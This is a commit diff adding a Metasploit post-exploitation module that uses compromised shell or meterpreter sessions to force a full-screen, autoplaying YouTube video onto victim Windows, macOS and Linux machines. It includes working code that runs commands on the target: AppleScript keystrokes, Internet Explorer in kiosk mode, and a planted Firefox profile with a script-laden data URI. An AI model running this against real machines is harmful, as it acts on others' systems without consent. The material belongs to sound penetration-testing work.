Land rapid7#2757, @wchen-r7's youtube post module

Author: jvazquez-r7

modules/post/multi/manage/play_youtube.rb

@@ -0,0 +1,123 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Post::File
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'Multi Manage Youtube Broadcast',
+      'Description'   => %q{
+        This module will broadcast a Youtube video on all compromised systems. It will play
+        the video in the target machine's native browser in full screen mode. The VID datastore
+        option is the "v" parameter in your Youtube video's URL.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [ 'sinn3r'],
+      'Platform'      => [ 'win', 'osx', 'linux' ],
+      'SessionTypes'  => [ 'shell', 'meterpreter' ]
+    ))
+
+    register_options(
+      [
+        OptString.new('VID', [true, 'The video ID to the Youtube video'])
+      ], self.class)
+  end
+
+  def peer
+    "#{session.session_host}:#{session.session_port}"
+  end
+
+
+  #
+  # The OSX version uses an apple script to do this
+  #
+  def osx_start_video(id)
+    url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1"
+    script = ''
+    script << %Q|osascript -e 'tell application "Safari" to open location "#{url}"' |
+    script << %Q|-e 'activate application "Safari"' |
+    script << %Q|-e 'tell application "System Events" to key code {59, 55, 3}'|
+
+    begin
+      cmd_exec(script)
+    rescue EOFError
+      return false
+    end
+
+    true
+  end
+
+  #
+  # The Windows version uses the "embed" player to make sure IE won't download the SWF as an object
+  #
+  def win_start_video(id)
+    iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe"
+    begin
+      session.sys.process.execute(iexplore_path, "-k http://youtube.com/embed/#{id}?autoplay=1")
+    rescue Rex::Post::Meterpreter::RequestError => e
+      return false
+    end
+
+    true
+  end
+
+
+  #
+  # The Linux version uses Firefox
+  #
+  def linux_start_video(id)
+    begin
+      # Create a profile
+      profile_name = Rex::Text.rand_text_alpha(8)
+      o = cmd_exec(%Q|firefox --display :0 -CreateProfile "#{profile_name} /tmp/#{profile_name}"|)
+
+      # Add user-defined settings to profile
+      s = %Q|
+      user_pref("dom.disable_open_during_load", false);
+      user_pref("browser.shell.checkDefaultBrowser", false);
+      |
+      write_file("/tmp/#{profile_name}/prefs.js", s)
+
+      # Start the video
+      url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1"
+      data_js = %Q|"data:text/html,<script>window.open('#{url}','','width:100000px;height:100000px');</script>"|
+      joe = "firefox --display :0 -p #{profile_name} #{data_js} &"
+      cmd_exec("/bin/sh -c #{joe.shellescape}")
+    rescue EOFError
+      return false
+    end
+  
+    true
+  end
+
+  def start_video(id)
+    case session.platform
+    when /osx/
+      osx_start_video(id)
+    when /win/
+      win_start_video(id)
+    when /linux/
+      linux_start_video(id)
+    end
+  end
+
+  def run
+    id = datastore['VID']
+
+    print_status("#{peer} - Spawning video...")
+    if start_video(id)
+      print_good("#{peer} - The video has started")
+    else
+      print_error("#{peer} - Unable to start the video")
+      return
+    end
+
+  end
+
+end